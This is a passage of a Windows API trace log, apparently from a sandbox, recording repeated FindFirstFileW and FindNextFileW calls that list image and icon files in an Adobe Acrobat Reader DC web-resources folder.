hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x209c, dwReserved0=0x0, dwReserved1=0x0, cFileName="favicon.ico", cAlternateFileName="")) returned 1 [0103.621] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="file_types", cAlternateFileName="FILE_T~1")) returned 1 [0103.622] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi_contrast", cAlternateFileName="HI_CON~1")) returned 1 [0103.622] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1185, dwReserved0=0x0, dwReserved1=0x0, cFileName="illustrations.png", cAlternateFileName="ILLUST~2.PNG")) returned 1 [0103.622] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2890, dwReserved0=0x0, dwReserved1=0x0, cFileName="illustrations_retina.png", cAlternateFileName="ILLUST~1.PNG")) returned 1 [0103.622] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ind_prog.gif", cAlternateFileName="")) returned 1 [0103.622] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x238, dwReserved0=0x0, dwReserved1=0x0, cFileName="japanese_over.png", cAlternateFileName="JAPANE~1.PNG")) returned 1 [0103.622] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x7e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="large_trefoil.png", cAlternateFileName="LARGE_~1.PNG")) returned 1 [0103.623] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x10ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="large_trefoil_2x.png", cAlternateFileName="LARGE_~2.PNG")) returned 1 [0103.623] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1b2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo_retina.png", cAlternateFileName="LOGO_R~1.PNG")) returned 1 [0103.623] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x469, dwReserved0=0x0, dwReserved1=0x0, cFileName="progress-indeterminate.gif", cAlternateFileName="PROGRE~2.GIF")) returned 1 [0103.623] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee66f38b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee66f38b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x392e, dwReserved0=0x0, dwReserved1=0x0, cFileName="progress_spinner.gif", cAlternateFileName="PROGRE~1.GIF")) returned 1 [0103.623] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x927b, dwReserved0=0x0, dwReserved1=0x0, cFileName="progress_spinner2x.gif", cAlternateFileName="PROGRE~4.GIF")) returned 1 [0103.623] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2a30, dwReserved0=0x0, dwReserved1=0x0, cFileName="progress_spinner_dark.gif", cAlternateFileName="PROGRE~3.GIF")) returned 1 [0103.623] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6aa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="progress_spinner_dark2x.gif", cAlternateFileName="PRBC72~1.GIF")) returned 1 [0103.624] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="RHP_icons.png", cAlternateFileName="RHP_IC~1.PNG")) returned 1 [0103.624] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="RHP_icons_2x.png", cAlternateFileName="RHP_IC~2.PNG")) returned 1 [0103.624] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="selection-actions.png", cAlternateFileName="SELECT~2.PNG")) returned 1 [0103.624] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xe0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="selection-actions2x.png", cAlternateFileName="SELECT~1.PNG")) returned 1 [0103.624] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 1 [0103.624] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="win-scrollbar", cAlternateFileName="WIN-SC~1")) returned 1 [0103.624] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="win8-scrollbar", cAlternateFileName="WIN8-S~1")) returned 1 [0103.625] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="win8-scrollbar", cAlternateFileName="WIN8-S~1")) returned 0 [0103.625] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0103.625] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec5f0) returned 1 [0103.626] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec5b0) returned 1 [0103.626] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec6b0) returned 1 [0103.626] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images", nBufferLength=0x105, lpBuffer=0x1fdec150, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images", lpFilePart=0x0) returned 0x5a [0103.626] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\*", lpFindFileData=0x1fdec3d0 | out: lpFindFileData=0x1fdec3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0103.627] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.627] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1a85, dwReserved0=0x0, dwReserved1=0x0, cFileName="A12_Spinner.gif", cAlternateFileName="A12_SP~4.GIF")) returned 1 [0103.627] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3b29, dwReserved0=0x0, dwReserved1=0x0, cFileName="A12_Spinner_2x.gif", cAlternateFileName="A12_SP~3.GIF")) returned 1 [0103.627] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1a3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="A12_Spinner_int.gif", cAlternateFileName="A12_SP~1.GIF")) returned 1 [0103.627] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4038, dwReserved0=0x0, dwReserved1=0x0, cFileName="A12_Spinner_int_2x.gif", cAlternateFileName="A12_SP~2.GIF")) returned 1 [0103.627] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xe7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="adc_logo.png", cAlternateFileName="")) returned 1 [0103.628] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x22c, dwReserved0=0x0, dwReserved1=0x0, cFileName="adobe_spinner.gif", cAlternateFileName="ADOBE_~1.GIF")) returned 1 [0103.628] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0x0, dwReserved1=0x0, cFileName="adobe_spinner_mini.gif", cAlternateFileName="ADOBE_~2.GIF")) returned 1 [0103.628] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x12a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="apple-touch-icon-114x114-precomposed.png", cAlternateFileName="APPLE-~2.PNG")) returned 1 [0103.628] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x235b, dwReserved0=0x0, dwReserved1=0x0, cFileName="apple-touch-icon-144x144-precomposed.png", cAlternateFileName="APPLE-~1.PNG")) returned 1 [0103.628] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xac7, dwReserved0=0x0, dwReserved1=0x0, cFileName="apple-touch-icon-57x57-precomposed.png", cAlternateFileName="APPLE-~3.PNG")) returned 1 [0103.628] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xe8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="apple-touch-icon-72x72-precomposed.png", cAlternateFileName="APPLE-~4.PNG")) returned 1 [0103.629] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x84a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ccloud.png", cAlternateFileName="")) returned 1 [0103.629] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee66f38b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee66f38b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3181, dwReserved0=0x0, dwReserved1=0x0, cFileName="ccloud_retina.png", cAlternateFileName="CCLOUD~1.PNG")) returned 1 [0103.629] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x132, dwReserved0=0x0, dwReserved1=0x0, cFileName="close_x.png", cAlternateFileName="")) returned 1 [0103.629] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x7394, dwReserved0=0x0, dwReserved1=0x0, cFileName="core_icons.png", cAlternateFileName="CORE_I~2.PNG")) returned 1 [0103.629] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee66f38b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x104ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="core_icons_retina.png", cAlternateFileName="CORE_I~1.PNG")) returned 1 [0103.629] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x44b, dwReserved0=0x0, dwReserved1=0x0, cFileName="dd_arrow_small.png", cAlternateFileName="DD_ARR~1.PNG")) returned 1 [0103.630] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x209c, dwReserved0=0x0, dwReserved1=0x0, cFileName="favicon.ico", cAlternateFileName="")) returned 1 [0103.630] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="file_types", cAlternateFileName="FILE_T~1")) returned 1 [0103.630] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, 